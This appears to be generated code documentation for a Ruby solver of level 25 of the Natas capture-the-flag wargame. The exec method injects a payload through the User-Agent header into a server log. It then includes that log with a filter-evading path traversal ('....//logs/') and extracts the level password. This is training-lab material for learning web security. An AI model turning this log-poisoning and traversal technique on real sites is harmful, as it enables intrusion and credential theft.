class NatasLevel25
Level 25
Constants
- LEVEL
- PAGE
- PAYLOAD
Public Instance Methods
exec()
click to toggle source
# File lib/natas.rb, line 707 def exec response = get( "#{PAGE}?lang=natas_webpass", { 'User-Agent' => PAYLOAD } ) cookie = response['Set-Cookie'].split('; ')[0] session_id = cookie.split('=')[1] data = get("#{PAGE}/?lang=....//logs/natas25_#{session_id}.log").body match = /Password: (\w{32})\n/.match(data) not_found unless match found(match[1]) end